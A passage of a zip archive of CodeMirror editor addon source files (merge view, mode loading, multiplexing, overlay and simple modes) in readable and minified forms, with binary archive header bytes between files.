d=c.from.line,e=c.to.line-c.from.line,f=c.text.length-1,g=d+f;(e||f)&&b.map(d,e,f),b.check(g,_,b.hasMarker),(e||f)&&b.check(c.from.line,_,b.hasMarker)})),a.on("viewportChange",(function(){b.cm.doc.height!=b.height&&b.signal()}))}function
O(a,b){return(a.line-b.line||a.ch-b.ch)<0?a:b}function
P(a,b){return(a.line-b.line||a.ch-b.ch)>0?a:b}function Q(a,b){return
a.line==b.line&&a.ch==b.ch}function R(a,b,c){for(var
d=a.length-1;d>=0;d--){var
e=a[d],f=(c?e.origTo:e.editTo)-1;if(f<b)return f}}function
S(a,b,c){for(var d=0;d<a.length;d++){var
e=a[d],f=c?e.origFrom:e.editFrom;if(f>b)return f}}function T(b,d){var
e=null,f=b.state.diffViews,g=b.getCursor().line;if(f)for(var
h=0;h<f.length;h++){var i=f[h],j=b==i.orig;c(i);var
k=d<0?R(i.chunks,g,j):S(i.chunks,g,j);null==k||null!=e&&!(d<0?k>e:k<e)||(e=k)}if(null==e)return
a.Pass;b.setCursor(e,0)}var
U=a.Pos,V="http://www.w3.org/2000/svg";b.prototype={constructor:b,init:function(b,c,d){this.edit=this.mv.edit,(this.edit.state.diffViews||(this.edit.state.diffViews=[])).push(this),this.orig=a(b,L({value:c,readOnly:!this.mv.options.allowEditingOriginals},L(d))),"align"==this.mv.options.connect&&(this.edit.state.trackAlignable||(this.edit.state.trackAlignable=new
N(this.edit)),this.orig.state.trackAlignable=new
N(this.orig)),this.lockButton.title=this.edit.phrase("Toggle locked
scrolling"),this.orig.state.diffViews=[this];var
e=d.chunkClassLocation||"background";"[object
Array]"!=Object.prototype.toString.call(e)&&(e=[e]),this.classes.classLocation=e,this.diff=z(y(c),y(d.value),this.mv.options.ignoreWhitespace),this.chunks=A(this.diff),this.diffOutOfDate=this.dealigned=!1,this.needsScrollSync=null,this.showDifferences=!1!==d.showDifferences},registerEvents:function(a){this.forceUpdate=d(this),h(this,!0,!1),e(this,a)},setShowDifferences:function(a){(a=!1!==a)!=this.showDifferences&&(this.showDifferences=a,this.forceUpdate("full"))}};var
W=!1,X=a.MergeView=function(c,d){if(!(this instanceof X))return new
X(c,d);this.options=d;var
e=d.origLeft,f=null==d.origRight?d.orig:d.origRight,g=null!=e,h=null!=f,i=1+(g?1:0)+(h?1:0),j=[],k=this.left=null,l=this.right=null,m=this;if(g){k=this.left=new
b(this,"left");var
o=I("div",null,"CodeMirror-merge-pane
CodeMirror-merge-left");j.push(o),j.push(x(k))}var
p=I("div",null,"CodeMirror-merge-pane
CodeMirror-merge-editor");if(j.push(p),h){l=this.right=new
b(this,"right"),j.push(x(l));var
q=I("div",null,"CodeMirror-merge-pane
CodeMirror-merge-right");j.push(q)}(h?q:p).className+="
CodeMirror-merge-pane-rightmost",j.push(I("div",null,null,"height:
0; clear: both;"));var
r=this.wrap=c.appendChild(I("div",j,"CodeMirror-merge
CodeMirror-merge-"+i+"pane"));this.edit=a(p,L(d)),k&&k.init(o,e,d),l&&l.init(q,f,d),d.collapseIdentical&&this.editor().operation((function(){H(m,d.collapseIdentical)})),"align"==d.connect&&(this.aligners=[],s(this.left||this.right,!0)),k&&k.registerEvents(l),l&&l.registerEvents(k);var
t=function(){k&&n(k),l&&n(l)};a.on(window,"resize",t);var
u=setInterval((function(){for(var
b=r.parentNode;b&&b!=document.body;b=b.parentNode);b||(clearInterval(u),a.off(window,"resize",t))}),5e3)};X.prototype={constructor:X,editor:function(){return
this.edit},rightOriginal:function(){return
this.right&&this.right.orig},leftOriginal:function(){return
this.left&&this.left.orig},setShowDifferences:function(a){this.right&&this.right.setShowDifferences(a),this.left&&this.left.setShowDifferences(a)},rightChunks:function(){if(this.right)return
c(this.right),this.right.chunks},leftChunks:function(){if(this.left)return
c(this.left),this.left.chunks}};var
Y,Z=1,$=2,_=4;N.prototype={signal:function(){a.signal(this,"realign"),this.height=this.cm.doc.height},set:function(a,b){for(var
c=-1;c<this.alignable.length;c+=2){var
d=this.alignable[c]-a;if(0==d){if((this.alignable[c+1]&b)==b)return;return
this.alignable[c+1]|=b,void
this.signal()}if(d>0)break}this.signal(),this.alignable.splice(c,0,a,b)},find:function(a){for(var
b=0;b<this.alignable.length;b+=2)if(this.alignable[b]==a)return
b;return-1},check:function(a,b,c){var
d=this.find(a);if(-1!=d&&this.alignable[d+1]&b&&!c.call(this,a)){this.signal();var
e=this.alignable[d+1]&~b;e?this.alignable[d+1]=e:this.alignable.splice(d,2)}},hasMarker:function(a){var
b=this.cm.getLineHandle(a);if(b.markedSpans)for(var
c=0;c<b.markedSpans.length;c++)if(b.markedSpans[c].marker.collapsed&&null!=b.markedSpans[c].to)return!0;return!1},hasWidget:function(a){var
b=this.cm.getLineHandle(a);if(b.widgets)for(var
c=0;c<b.widgets.length;c++)if(!b.widgets[c].above&&!b.widgets[c].mergeSpacer)return!0;return!1},hasWidgetBelow:function(a){if(a==this.cm.lastLine())return!1;var
b=this.cm.getLineHandle(a+1);if(b.widgets)for(var
c=0;c<b.widgets.length;c++)if(b.widgets[c].above&&!b.widgets[c].mergeSpacer)return!0;return!1},map:function(a,b,c){for(var
d=c-b,e=a+b,f=-1,g=-1,h=0;h<this.alignable.length;h+=2){var
i=this.alignable[h];i==a&&this.alignable[h+1]&$&&(f=h),i==e&&this.alignable[h+1]&$&&(g=h),i<=a||(i<e?this.alignable.splice(h--,2):this.alignable[h]+=d)}if(f>-1){var
j=this.alignable[f+1];j==$?this.alignable.splice(f,2):this.alignable[f+1]=j&~$}g>-1&&c&&this.set(a+c,$)}},a.commands.goNextDiff=function(a){return
T(a,1)},a.commands.goPrevDiff=function(a){return
T(a,-1)}}));PK8��[c�7��	�	!codemirror/addon/mode/loadmode.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"), "cjs");
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], function(CM) { mod(CM,
"amd"); });
  else // Plain browser env
    mod(CodeMirror, "plain");
})(function(CodeMirror, env) {
  if (!CodeMirror.modeURL) CodeMirror.modeURL =
"../mode/%N/%N.js";

  var loading = {};
  function splitCallback(cont, n) {
    var countDown = n;
    return function() { if (--countDown == 0) cont(); };
  }
  function ensureDeps(mode, cont, options) {
    var modeObj = CodeMirror.modes[mode], deps = modeObj &&
modeObj.dependencies;
    if (!deps) return cont();
    var missing = [];
    for (var i = 0; i < deps.length; ++i) {
      if (!CodeMirror.modes.hasOwnProperty(deps[i]))
        missing.push(deps[i]);
    }
    if (!missing.length) return cont();
    var split = splitCallback(cont, missing.length);
    for (var i = 0; i < missing.length; ++i)
      CodeMirror.requireMode(missing[i], split, options);
  }

  CodeMirror.requireMode = function(mode, cont, options) {
    if (typeof mode != "string") mode = mode.name;
    if (CodeMirror.modes.hasOwnProperty(mode)) return ensureDeps(mode,
cont, options);
    if (loading.hasOwnProperty(mode)) return loading[mode].push(cont);

    var file = options && options.path ? options.path(mode) :
CodeMirror.modeURL.replace(/%N/g, mode);
    if (options && options.loadMode) {
      options.loadMode(file, function() { ensureDeps(mode, cont, options)
})
    } else if (env == "plain") {
      var script = document.createElement("script");
      script.src = file;
      var others = document.getElementsByTagName("script")[0];
      var list = loading[mode] = [cont];
      CodeMirror.on(script, "load", function() {
        ensureDeps(mode, function() {
          for (var i = 0; i < list.length; ++i) list[i]();
        }, options);
      });
      others.parentNode.insertBefore(script, others);
    } else if (env == "cjs") {
      require(file);
      cont();
    } else if (env == "amd") {
      requirejs([file], cont);
    }
  };

  CodeMirror.autoLoadMode = function(instance, mode, options) {
    if (!CodeMirror.modes.hasOwnProperty(mode))
      CodeMirror.requireMode(mode, function() {
        instance.setOption("mode",
instance.getOption("mode"));
      }, options);
  };
});
PK8��[��(���%codemirror/addon/mode/loadmode.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),"cjs"):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],(function(b){a(b,"amd")})):a(CodeMirror,"plain")})((function(a,b){function
c(a,b){var c=b;return function(){0==--c&&a()}}function d(b,d,e){var
f=a.modes[b],g=f&&f.dependencies;if(!g)return d();for(var
h=[],i=0;i<g.length;++i)a.modes.hasOwnProperty(g[i])||h.push(g[i]);if(!h.length)return
d();for(var
j=c(d,h.length),i=0;i<h.length;++i)a.requireMode(h[i],j,e)}a.modeURL||(a.modeURL="../mode/%N/%N.js");var
e={};a.requireMode=function(c,f,g){if("string"!=typeof
c&&(c=c.name),a.modes.hasOwnProperty(c))return
d(c,f,g);if(e.hasOwnProperty(c))return e[c].push(f);var
h=g&&g.path?g.path(c):a.modeURL.replace(/%N/g,c);if(g&&g.loadMode)g.loadMode(h,(function(){d(c,f,g)}));else
if("plain"==b){var
i=document.createElement("script");i.src=h;var
j=document.getElementsByTagName("script")[0],k=e[c]=[f];a.on(i,"load",(function(){d(c,(function(){for(var
a=0;a<k.length;++a)k[a]()}),g)})),j.parentNode.insertBefore(i,j)}else"cjs"==b?(require(h),f()):"amd"==b&&requirejs([h],f)},a.autoLoadMode=function(b,c,d){a.modes.hasOwnProperty(c)||a.requireMode(c,(function(){b.setOption("mode",b.getOption("mode"))}),d)}}));PK8��[W?��AA"codemirror/addon/mode/multiplex.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.multiplexingMode = function(outer /*, others */) {
  // Others should be {open, close, mode [, delimStyle] [, innerStyle]}
objects
  var others = Array.prototype.slice.call(arguments, 1);

  function indexOf(string, pattern, from, returnEnd) {
    if (typeof pattern == "string") {
      var found = string.indexOf(pattern, from);
      return returnEnd && found > -1 ? found + pattern.length :
found;
    }
    var m = pattern.exec(from ? string.slice(from) : string);
    return m ? m.index + from + (returnEnd ? m[0].length : 0) : -1;
  }

  return {
    startState: function() {
      return {
        outer: CodeMirror.startState(outer),
        innerActive: null,
        inner: null
      };
    },

    copyState: function(state) {
      return {
        outer: CodeMirror.copyState(outer, state.outer),
        innerActive: state.innerActive,
        inner: state.innerActive &&
CodeMirror.copyState(state.innerActive.mode, state.inner)
      };
    },

    token: function(stream, state) {
      if (!state.innerActive) {
        var cutOff = Infinity, oldContent = stream.string;
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          var found = indexOf(oldContent, other.open, stream.pos);
          if (found == stream.pos) {
            if (!other.parseDelimiters) stream.match(other.open);
            state.innerActive = other;

            // Get the outer indent, making sure to handle CodeMirror.Pass
            var outerIndent = 0;
            if (outer.indent) {
              var possibleOuterIndent = outer.indent(state.outer,
"", "");
              if (possibleOuterIndent !== CodeMirror.Pass) outerIndent =
possibleOuterIndent;
            }

            state.inner = CodeMirror.startState(other.mode, outerIndent);
            return other.delimStyle && (other.delimStyle + "
" + other.delimStyle + "-open");
          } else if (found != -1 && found < cutOff) {
            cutOff = found;
          }
        }
        if (cutOff != Infinity) stream.string = oldContent.slice(0,
cutOff);
        var outerToken = outer.token(stream, state.outer);
        if (cutOff != Infinity) stream.string = oldContent;
        return outerToken;
      } else {
        var curInner = state.innerActive, oldContent = stream.string;
        if (!curInner.close && stream.sol()) {
          state.innerActive = state.inner = null;
          return this.token(stream, state);
        }
        var found = curInner.close ? indexOf(oldContent, curInner.close,
stream.pos, curInner.parseDelimiters) : -1;
        if (found == stream.pos && !curInner.parseDelimiters) {
          stream.match(curInner.close);
          state.innerActive = state.inner = null;
          return curInner.delimStyle && (curInner.delimStyle +
" " + curInner.delimStyle + "-close");
        }
        if (found > -1) stream.string = oldContent.slice(0, found);
        var innerToken = curInner.mode.token(stream, state.inner);
        if (found > -1) stream.string = oldContent;

        if (found == stream.pos && curInner.parseDelimiters)
          state.innerActive = state.inner = null;

        if (curInner.innerStyle) {
          if (innerToken) innerToken = innerToken + " " +
curInner.innerStyle;
          else innerToken = curInner.innerStyle;
        }

        return innerToken;
      }
    },

    indent: function(state, textAfter, line) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (!mode.indent) return CodeMirror.Pass;
      return mode.indent(state.innerActive ? state.inner : state.outer,
textAfter, line);
    },

    blankLine: function(state) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (mode.blankLine) {
        mode.blankLine(state.innerActive ? state.inner : state.outer);
      }
      if (!state.innerActive) {
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          if (other.open === "\n") {
            state.innerActive = other;
            state.inner = CodeMirror.startState(other.mode, mode.indent ?
mode.indent(state.outer, "", "") : 0);
          }
        }
      } else if (state.innerActive.close === "\n") {
        state.innerActive = state.inner = null;
      }
    },

    electricChars: outer.electricChars,

    innerMode: function(state) {
      return state.inner ? {state: state.inner, mode:
state.innerActive.mode} : {state: state.outer, mode: outer};
    }
  };
};

});
PK8��[�f�ٰ�&codemirror/addon/mode/multiplex.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.multiplexingMode=function(b){function
c(a,b,c,d){if("string"==typeof b){var e=a.indexOf(b,c);return
d&&e>-1?e+b.length:e}var f=b.exec(c?a.slice(c):a);return
f?f.index+c+(d?f[0].length:0):-1}var
d=Array.prototype.slice.call(arguments,1);return{startState:function(){return{outer:a.startState(b),innerActive:null,inner:null}},copyState:function(c){return{outer:a.copyState(b,c.outer),innerActive:c.innerActive,inner:c.innerActive&&a.copyState(c.innerActive.mode,c.inner)}},token:function(e,f){if(f.innerActive){var
g=f.innerActive,h=e.string;if(!g.close&&e.sol())return
f.innerActive=f.inner=null,this.token(e,f);var
i=g.close?c(h,g.close,e.pos,g.parseDelimiters):-1;if(i==e.pos&&!g.parseDelimiters)return
e.match(g.close),f.innerActive=f.inner=null,g.delimStyle&&g.delimStyle+"
"+g.delimStyle+"-close";i>-1&&(e.string=h.slice(0,i));var
j=g.mode.token(e,f.inner);return
i>-1&&(e.string=h),i==e.pos&&g.parseDelimiters&&(f.innerActive=f.inner=null),g.innerStyle&&(j=j?j+"
"+g.innerStyle:g.innerStyle),j}for(var
k=1/0,h=e.string,l=0;l<d.length;++l){var
m=d[l],i=c(h,m.open,e.pos);if(i==e.pos){m.parseDelimiters||e.match(m.open),f.innerActive=m;var
n=0;if(b.indent){var
o=b.indent(f.outer,"","");o!==a.Pass&&(n=o)}return
f.inner=a.startState(m.mode,n),m.delimStyle&&m.delimStyle+"
"+m.delimStyle+"-open"}-1!=i&&i<k&&(k=i)}k!=1/0&&(e.string=h.slice(0,k));var
p=b.token(e,f.outer);return
k!=1/0&&(e.string=h),p},indent:function(c,d,e){var
f=c.innerActive?c.innerActive.mode:b;return
f.indent?f.indent(c.innerActive?c.inner:c.outer,d,e):a.Pass},blankLine:function(c){var
e=c.innerActive?c.innerActive.mode:b;if(e.blankLine&&e.blankLine(c.innerActive?c.inner:c.outer),c.innerActive)"\n"===c.innerActive.close&&(c.innerActive=c.inner=null);else
for(var f=0;f<d.length;++f){var
g=d[f];"\n"===g.open&&(c.innerActive=g,c.inner=a.startState(g.mode,e.indent?e.indent(c.outer,"",""):0))}},electricChars:b.electricChars,innerMode:function(a){return
a.inner?{state:a.inner,mode:a.innerActive.mode}:{state:a.outer,mode:b}}}}}));PK8��[�w0BB'codemirror/addon/mode/multiplex_test.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function() {
  CodeMirror.defineMode("markdown_with_stex", function(){
    var inner = CodeMirror.getMode({}, "stex");
    var outer = CodeMirror.getMode({}, "markdown");

    var innerOptions = {
      open: '$',
      close: '$',
      mode: inner,
      delimStyle: 'delim',
      innerStyle: 'inner'
    };

    return CodeMirror.multiplexingMode(outer, innerOptions);
  });

  var mode = CodeMirror.getMode({}, "markdown_with_stex");

  function MT(name) {
    test.mode(
      name,
      mode,
      Array.prototype.slice.call(arguments, 1),
      'multiplexing');
  }

  MT(
    "stexInsideMarkdown",
    "[strong **Equation:**] [delim&delim-open $][inner&tag
\\pi][delim&delim-close $]");
})();
PK8��[J��p��+codemirror/addon/mode/multiplex_test.min.jsnu�[���!(function(){CodeMirror.defineMode("markdown_with_stex",(function(){var
a=CodeMirror.getMode({},"stex"),b=CodeMirror.getMode({},"markdown"),c={open:"$",close:"$",mode:a,delimStyle:"delim",innerStyle:"inner"};return
CodeMirror.multiplexingMode(b,c)}));var
a=CodeMirror.getMode({},"markdown_with_stex");!(function(b){test.mode(b,a,Array.prototype.slice.call(arguments,1),"multiplexing")})("stexInsideMarkdown","[strong
**Equation:**] [delim&delim-open $][inner&tag
\\pi][delim&delim-close $]")})();PK8��[�cOL��
codemirror/addon/mode/overlay.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Utility function that allows modes to be combined. The mode given
// as the base argument takes care of most of the normal mode
// functionality, but a second (typically simple) mode is used, which
// can override the style of text. Both modes get to parse all of the
// text, but when both assign a non-null style to a piece of code, the
// overlay wins, unless the combine argument was true and not overridden,
// or state.overlay.combineTokens was true, in which case the styles are
// combined.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.overlayMode = function(base, overlay, combine) {
  return {
    startState: function() {
      return {
        base: CodeMirror.startState(base),
        overlay: CodeMirror.startState(overlay),
        basePos: 0, baseCur: null,
        overlayPos: 0, overlayCur: null,
        streamSeen: null
      };
    },
    copyState: function(state) {
      return {
        base: CodeMirror.copyState(base, state.base),
        overlay: CodeMirror.copyState(overlay, state.overlay),
        basePos: state.basePos, baseCur: null,
        overlayPos: state.overlayPos, overlayCur: null
      };
    },

    token: function(stream, state) {
      if (stream != state.streamSeen ||
          Math.min(state.basePos, state.overlayPos) < stream.start) {
        state.streamSeen = stream;
        state.basePos = state.overlayPos = stream.start;
      }

      if (stream.start == state.basePos) {
        state.baseCur = base.token(stream, state.base);
        state.basePos = stream.pos;
      }
      if (stream.start == state.overlayPos) {
        stream.pos = stream.start;
        state.overlayCur = overlay.token(stream, state.overlay);
        state.overlayPos = stream.pos;
      }
      stream.pos = Math.min(state.basePos, state.overlayPos);

      // state.overlay.combineTokens always takes precedence over combine,
      // unless set to null
      if (state.overlayCur == null) return state.baseCur;
      else if (state.baseCur != null &&
               state.overlay.combineTokens ||
               combine && state.overlay.combineTokens == null)
        return state.baseCur + " " + state.overlayCur;
      else return state.overlayCur;
    },

    indent: base.indent && function(state, textAfter, line) {
      return base.indent(state.base, textAfter, line);
    },
    electricChars: base.electricChars,

    innerMode: function(state) { return {state: state.base, mode: base}; },

    blankLine: function(state) {
      var baseToken, overlayToken;
      if (base.blankLine) baseToken = base.blankLine(state.base);
      if (overlay.blankLine) overlayToken =
overlay.blankLine(state.overlay);

      return overlayToken == null ?
        baseToken :
        (combine && baseToken != null ? baseToken + " " +
overlayToken : overlayToken);
    }
  };
};

});
PK8��[���00$codemirror/addon/mode/overlay.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.overlayMode=function(b,c,d){return{startState:function(){return{base:a.startState(b),overlay:a.startState(c),basePos:0,baseCur:null,overlayPos:0,overlayCur:null,streamSeen:null}},copyState:function(d){return{base:a.copyState(b,d.base),overlay:a.copyState(c,d.overlay),basePos:d.basePos,baseCur:null,overlayPos:d.overlayPos,overlayCur:null}},token:function(a,e){return(a!=e.streamSeen||Math.min(e.basePos,e.overlayPos)<a.start)&&(e.streamSeen=a,e.basePos=e.overlayPos=a.start),a.start==e.basePos&&(e.baseCur=b.token(a,e.base),e.basePos=a.pos),a.start==e.overlayPos&&(a.pos=a.start,e.overlayCur=c.token(a,e.overlay),e.overlayPos=a.pos),a.pos=Math.min(e.basePos,e.overlayPos),null==e.overlayCur?e.baseCur:null!=e.baseCur&&e.overlay.combineTokens||d&&null==e.overlay.combineTokens?e.baseCur+"
"+e.overlayCur:e.overlayCur},indent:b.indent&&function(a,c,d){return
b.indent(a.base,c,d)},electricChars:b.electricChars,innerMode:function(a){return{state:a.base,mode:b}},blankLine:function(a){var
e,f;return
b.blankLine&&(e=b.blankLine(a.base)),c.blankLine&&(f=c.blankLine(a.overlay)),null==f?e:d&&null!=e?e+"
"+f:f}}}}));PK8��[jq�Yllcodemirror/addon/mode/simple.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineSimpleMode = function(name, states) {
    CodeMirror.defineMode(name, function(config) {
      return CodeMirror.simpleMode(config, states);
    });
  };

  CodeMirror.simpleMode = function(config, states) {
    ensureState(states, "start");
    var states_ = {}, meta = states.meta || {}, hasIndentation = false;
    for (var state in states) if (state != meta &&
states.hasOwnProperty(state)) {
      var list = states_[state] = [], orig = states[state];
      for (var i = 0; i < orig.length; i++) {
        var data = orig[i];
        list.push(new Rule(data, states));
        if (data.indent || data.dedent) hasIndentation = true;
      }
    }
    var mode = {
      startState: function() {
        return {state: "start", pending: null,
                local: null, localState: null,
                indent: hasIndentation ? [] : null};
      },
      copyState: function(state) {
        var s = {state: state.state, pending: state.pending,
                 local: state.local, localState: null,
                 indent: state.indent && state.indent.slice(0)};
        if (state.localState)
          s.localState = CodeMirror.copyState(state.local.mode,
state.localState);
        if (state.stack)
          s.stack = state.stack.slice(0);
        for (var pers = state.persistentStates; pers; pers = pers.next)
          s.persistentStates = {mode: pers.mode,
                                spec: pers.spec,
                                state: pers.state == state.localState ?
s.localState : CodeMirror.copyState(pers.mode, pers.state),
                                next: s.persistentStates};
        return s;
      },
      token: tokenFunction(states_, config),
      innerMode: function(state) { return state.local && {mode:
state.local.mode, state: state.localState}; },
      indent: indentFunction(states_, meta)
    };
    if (meta) for (var prop in meta) if (meta.hasOwnProperty(prop))
      mode[prop] = meta[prop];
    return mode;
  };

  function ensureState(states, name) {
    if (!states.hasOwnProperty(name))
      throw new Error("Undefined state " + name + " in
simple mode");
  }

  function toRegex(val, caret) {
    if (!val) return /(?:)/;
    var flags = "";
    if (val instanceof RegExp) {
      if (val.ignoreCase) flags = "i";
      val = val.source;
    } else {
      val = String(val);
    }
    return new RegExp((caret === false ? "" : "^") +
"(?:" + val + ")", flags);
  }

  function asToken(val) {
    if (!val) return null;
    if (val.apply) return val
    if (typeof val == "string") return val.replace(/\./g, "
");
    var result = [];
    for (var i = 0; i < val.length; i++)
      result.push(val[i] && val[i].replace(/\./g, " "));
    return result;
  }

  function Rule(data, states) {
    if (data.next || data.push) ensureState(states, data.next ||
data.push);
    this.regex = toRegex(data.regex);
    this.token = asToken(data.token);
    this.data = data;
  }

  function tokenFunction(states, config) {
    return function(stream, state) {
      if (state.pending) {
        var pend = state.pending.shift();
        if (state.pending.length == 0) state.pending = null;
        stream.pos += pend.text.length;
        return pend.token;
      }

      if (state.local) {
        if (state.local.end && stream.match(state.local.end)) {
          var tok = state.local.endToken || null;
          state.local = state.localState = null;
          return tok;
        } else {
          var tok = state.local.mode.token(stream, state.localState), m;
          if (state.local.endScan && (m =
state.local.endScan.exec(stream.current())))
            stream.pos = stream.start + m.index;
          return tok;
        }
      }

      var curState = states[state.state];
      for (var i = 0; i < curState.length; i++) {
        var rule = curState[i];
        var matches = (!rule.data.sol || stream.sol()) &&
stream.match(rule.regex);
        if (matches) {
          if (rule.data.next) {
            state.state = rule.data.next;
          } else if (rule.data.push) {
            (state.stack || (state.stack = [])).push(state.state);
            state.state = rule.data.push;
          } else if (rule.data.pop && state.stack &&
state.stack.length) {
            state.state = state.stack.pop();
          }

          if (rule.data.mode)
            enterLocalMode(config, state, rule.data.mode, rule.token);
          if (rule.data.indent)
            state.indent.push(stream.indentation() + config.indentUnit);
          if (rule.data.dedent)
            state.indent.pop();
          var token = rule.token
          if (token && token.apply) token = token(matches)
          if (matches.length > 2 && rule.token && typeof
rule.token != "string") {
            state.pending = [];
            for (var j = 2; j < matches.length; j++)
              if (matches[j])
                state.pending.push({text: matches[j], token: rule.token[j -
1]});
            stream.backUp(matches[0].length - (matches[1] ?
matches[1].length : 0));
            return token[0];
          } else if (token && token.join) {
            return token[0];
          } else {
            return token;
          }
        }
      }
      stream.next();
      return null;
    };
  }

  function cmp(a, b) {
    if (a === b) return true;
    if (!a || typeof a != "object" || !b || typeof b !=
"object") return false;
    var props = 0;
    for (var prop in a) if (a.hasOwnProperty(prop)) {
      if (!b.hasOwnProperty(prop) || !cmp(a[prop], b[prop])) return false;
      props++;
    }
    for (var prop in b) if (b.hasOwnProperty(prop)) props--;
    return props == 0;
  }

  function enterLocalMode(config, state, spec, token) {
    var pers;
    if (spec.persistent) for (var p = state.persistentStates; p &&
!pers; p = p.next)
      if (spec.spec ? cmp(spec.spec, p.spec) : spec.mode == p.mode) pers =
p;
    var mode = pers ? pers.mode : spec.mode || CodeMirror.getMode(config,
spec.spec);
    var lState = pers ? pers.state : CodeMirror.startState(mode);
    if (spec.persistent && !pers)
      state.persistentStates = {mode: mode, spec: spec.spec, state: lState,
next: state.persistentStates};

    state.localState = lState;
    state.local = {mode: mode,
                   end: spec.end && toRegex(spec.end),
                   endScan: spec.end && spec.forceEnd !== false
&& toRegex(spec.end, false),
                   endToken: token && token.join ?
token[token.length - 1] : token};
  }

  function indexOf(val, arr) {
    for (var i = 0; i < arr.length; i++) if (arr[i] === val) return
true;
  }

  function indentFunction(states, meta) {
    return function(state, textAfter, line) {
      if (state.local && state.local.mode.indent)
        return state.local.mode.indent(state.localState, textAfter, line);
      if (state.indent == null || state.local || meta.dontIndentStates
&& indexOf(state.state, meta.dontIndentStates) > -1)
        return CodeMirror.Pass;

      var pos = state.indent.length - 1, rules = states[state.state];
      scan: for (;;) {
        for (var i = 0; i < rules.length; i++) {
          var rule = rules[i];
          if (rule.data.dedent && rule.data.dedentIfLineStart !==
false) {
            var m = rule.regex.exec(textAfter);
            if (m && m[0]) {
              pos--;
              if (rule.next || rule.push) rules = states[rule.next ||
rule.push];
              textAfter = textAfter.slice(m[0].length);
              continue scan;
            }
          }
        }
        break;
      }
      return pos < 0 ? 0 : state.indent[pos];
    };
  }
});
PK8��[�h@��#codemirror/addon/mode/simple.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){if(!a.hasOwnProperty(b))throw new
Error("Undefined state "+b+" in simple mode")}function
c(a,b){if(!a)return/(?:)/;var c="";return a instanceof
RegExp?(a.ignoreCase&&(c="i"),a=a.source):a=String(a),new
RegExp((!1===b?"":"^")+"(?:"+a+")",c)}function
d(a){if(!a)return null;if(a.apply)return a;if("string"==typeof
a)return a.replace(/\./g," ");for(var
b=[],c=0;c<a.length;c++)b.push(a[c]&&a[c].replace(/\./g,"
"));return b}function
e(a,e){(a.next||a.push)&&b(e,a.next||a.push),this.regex=c(a.regex),this.token=d(a.token),this.data=a}function
f(a,b){return function(c,d){if(d.pending){var e=d.pending.shift();return
0==d.pending.length&&(d.pending=null),c.pos+=e.text.length,e.token}if(d.local){if(d.local.end&&c.match(d.local.end)){var
f=d.local.endToken||null;return d.local=d.localState=null,f}var
g,f=d.local.mode.token(c,d.localState);return
d.local.endScan&&(g=d.local.endScan.exec(c.current()))&&(c.pos=c.start+g.index),f}for(var
i=a[d.state],j=0;j<i.length;j++){var
k=i[j],l=(!k.data.sol||c.sol())&&c.match(k.regex);if(l){k.data.next?d.state=k.data.next:k.data.push?((d.stack||(d.stack=[])).push(d.state),d.state=k.data.push):k.data.pop&&d.stack&&d.stack.length&&(d.state=d.stack.pop()),k.data.mode&&h(b,d,k.data.mode,k.token),k.data.indent&&d.indent.push(c.indentation()+b.indentUnit),k.data.dedent&&d.indent.pop();var
m=k.token;if(m&&m.apply&&(m=m(l)),l.length>2&&k.token&&"string"!=typeof
k.token){d.pending=[];for(var
n=2;n<l.length;n++)l[n]&&d.pending.push({text:l[n],token:k.token[n-1]});return
c.backUp(l[0].length-(l[1]?l[1].length:0)),m[0]}return
m&&m.join?m[0]:m}}return c.next(),null}}function
g(a,b){if(a===b)return!0;if(!a||"object"!=typeof
a||!b||"object"!=typeof b)return!1;var c=0;for(var d in
a)if(a.hasOwnProperty(d)){if(!b.hasOwnProperty(d)||!g(a[d],b[d]))return!1;c++}for(var
d in b)b.hasOwnProperty(d)&&c--;return 0==c}function h(b,d,e,f){var
h;if(e.persistent)for(var
i=d.persistentStates;i&&!h;i=i.next)(e.spec?g(e.spec,i.spec):e.mode==i.mode)&&(h=i);var
